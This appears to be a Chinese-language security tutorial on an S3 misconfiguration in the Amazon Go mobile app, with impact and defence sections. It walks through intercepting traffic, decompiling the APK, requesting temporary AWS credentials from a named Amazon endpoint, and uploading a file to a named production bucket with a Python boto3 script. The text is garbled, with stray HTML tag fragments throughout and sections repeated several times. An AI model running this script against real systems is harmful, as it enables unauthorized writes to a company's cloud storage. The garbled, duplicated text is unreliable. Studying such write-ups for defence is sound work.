Amazon AWS S3存储桶配置错误漏洞分析与利用教学<\/h1>

漏洞背景<\/h2>
Amazon Go是亚马逊推出的无人零售商店，使用AWS S3服务存储数据。研究人员发现其移动应用中存在AWS S3存储桶配置错误，允许未经认证的用户上传任意文件。<\/p>

漏洞原理<\/h2>
Amazon Go移动应用在请求`getUploadCredentialsV2<\/code> API时，会返回临时的AWS凭证（accessKeyId、secretAccessKey、sessionToken），这些凭证具有向特定S3存储桶(ihm-device-logs-prod<\/code>)上传文件的权限。<\/p>`

漏洞发现过程<\/h2>
1. 流量拦截与分析<\/h3>
使用BurpSuite拦截移动应用流量，发现关键请求返回包含AWS凭证的JSON响应：<\/p>
{
<\/span><\/span>  "accessKey"<\/span>: "..."<\/span>,
<\/span><\/span>  "secretKey"<\/span>: "..."<\/span>,
<\/span><\/span>  "sessionToken"<\/span>: "..."<\/span>,
<\/span><\/span>  "url"<\/span>: "..."<\/span>,
<\/span><\/span>  "timeout"<\/span>: 1500<\/span>
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2. 静态代码分析<\/h3>
使用JADX工具反编译APK文件，分析关键类：<\/p>

com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2<\/code><\/li>
LoggingUploadService<\/code>类包含S3存储桶名称ihm-device-logs-prod<\/code><\/li>
<\/ul>
3. 权限测试<\/h3>
通过Python脚本测试返回的AWS凭证权限，确认可以上传文件到S3存储桶。<\/p>
漏洞利用步骤<\/h2>
1. 获取临时凭证<\/h3>
发送POST请求到https:\/\/mccs.amazon.com\/ihmfence<\/code>，头部包含：<\/p>
X-Amz-Target: com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2
<\/span><\/span><\/span><\/code><\/pre>2. 使用Python脚本上传文件<\/h3>
#!\/usr\/bin\/env python<\/span>
<\/span><\/span>import<\/span> json,<\/span> boto3,<\/span> requests
<\/span><\/span>
<\/span><\/span># 获取凭证<\/span>
<\/span><\/span>response =<\/span> requests.<\/span>post(
<\/span><\/span>    'https:\/\/mccs.amazon.com\/ihmfence'<\/span>,
<\/span><\/span>    headers=<\/span>{
<\/span><\/span>        'X-Amz-Target'<\/span>: 'com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2'<\/span>,
<\/span><\/span>        # 其他必要头部<\/span>
<\/span><\/span>    },
<\/span><\/span>    data=<\/span>'<\/span>{}<\/span>'<\/span>
<\/span><\/span>)
<\/span><\/span>
<\/span><\/span># 解析响应<\/span>
<\/span><\/span>obj =<\/span> response.<\/span>json()
<\/span><\/span>access_key =<\/span> obj['accessKey'<\/span>]
<\/span><\/span>secret_key =<\/span> obj['secretKey'<\/span>]
<\/span><\/span>session_token =<\/span> obj['sessionToken'<\/span>]
<\/span><\/span>
<\/span><\/span># 创建S3客户端<\/span>
<\/span><\/span>s3 =<\/span> boto3.<\/span>resource(
<\/span><\/span>    's3'<\/span>,
<\/span><\/span>    aws_access_key_id=<\/span>access_key,
<\/span><\/span>    aws_secret_access_key=<\/span>secret_key,
<\/span><\/span>    aws_session_token=<\/span>session_token,
<\/span><\/span>    region_name=<\/span>'us-west-2'<\/span>
<\/span><\/span>)
<\/span><\/span>
<\/span><\/span># 上传文件<\/span>
<\/span><\/span>s3.<\/span>meta.<\/span>client.<\/span>upload_file('.\/test.txt'<\/span>, 'ihm-device-logs-prod'<\/span>, 'test.txt'<\/span>)
<\/span><\/span><\/code><\/pre>漏洞影响<\/h2>

存储空间滥用<\/strong>：攻击者可上传大量文件耗尽存储空间，增加成本<\/li>
恶意文件注入<\/strong>：可能通过修改日志文件实现数据污染或恶意代码执行<\/li>
数据完整性破坏<\/strong>：干扰正常日志收集和分析<\/li>
<\/ol>
防御措施<\/h2>

最小权限原则<\/strong>：临时凭证应仅授予必要的最小权限<\/li>
存储桶策略<\/strong>：配置S3存储桶仅允许特定前缀或条件的上传<\/li>
凭证有效期<\/strong>：缩短临时凭证的有效期<\/li>
输入验证<\/strong>：对上传的文件进行内容检查和验证<\/li>
监控机制<\/strong>：设置S3存储桶的异常上传告警<\/li>
<\/ol>
总结<\/h2>
该漏洞展示了AWS配置错误可能带来的安全风险，特别是在临时凭证权限过大时。开发人员应严格遵循最小权限原则，并定期进行安全审计和渗透测试，确保云资源配置的安全性。<\/p>

Amazon AWS S3存储桶配置错误漏洞分析与利用教学<\/h1>

漏洞背景<\/h2> Amazon Go是亚马逊推出的无人零售商店，使用AWS S3服务存储数据。研究人员发现其移动应用中存在AWS S3存储桶配置错误，允许未经认证的用户上传任意文件。<\/p>

漏洞原理<\/h2> Amazon Go移动应用在请求getUploadCredentialsV2<\/code> API时，会返回临时的AWS凭证（accessKeyId、secretAccessKey、sessionToken），这些凭证具有向特定S3存储桶(ihm-device-logs-prod<\/code>)上传文件的权限。<\/p>

3. 权限测试<\/h3> 通过Python脚本测试返回的AWS凭证权限，确认可以上传文件到S3存储桶。<\/p>

漏洞利用步骤<\/h2>

总结<\/h2> 该漏洞展示了AWS配置错误可能带来的安全风险，特别是在临时凭证权限过大时。开发人员应严格遵循最小权限原则，并定期进行安全审计和渗透测试，确保云资源配置的安全性。<\/p>

漏洞背景<\/h2>
Amazon Go是亚马逊推出的无人零售商店，使用AWS S3服务存储数据。研究人员发现其移动应用中存在AWS S3存储桶配置错误，允许未经认证的用户上传任意文件。<\/p>

漏洞原理<\/h2>
Amazon Go移动应用在请求`getUploadCredentialsV2<\/code> API时，会返回临时的AWS凭证（accessKeyId、secretAccessKey、sessionToken），这些凭证具有向特定S3存储桶(ihm-device-logs-prod<\/code>)上传文件的权限。<\/p>`

3. 权限测试<\/h3>
通过Python脚本测试返回的AWS凭证权限，确认可以上传文件到S3存储桶。<\/p>

总结<\/h2>
该漏洞展示了AWS配置错误可能带来的安全风险，特别是在临时凭证权限过大时。开发人员应严格遵循最小权限原则，并定期进行安全审计和渗透测试，确保云资源配置的安全性。<\/p>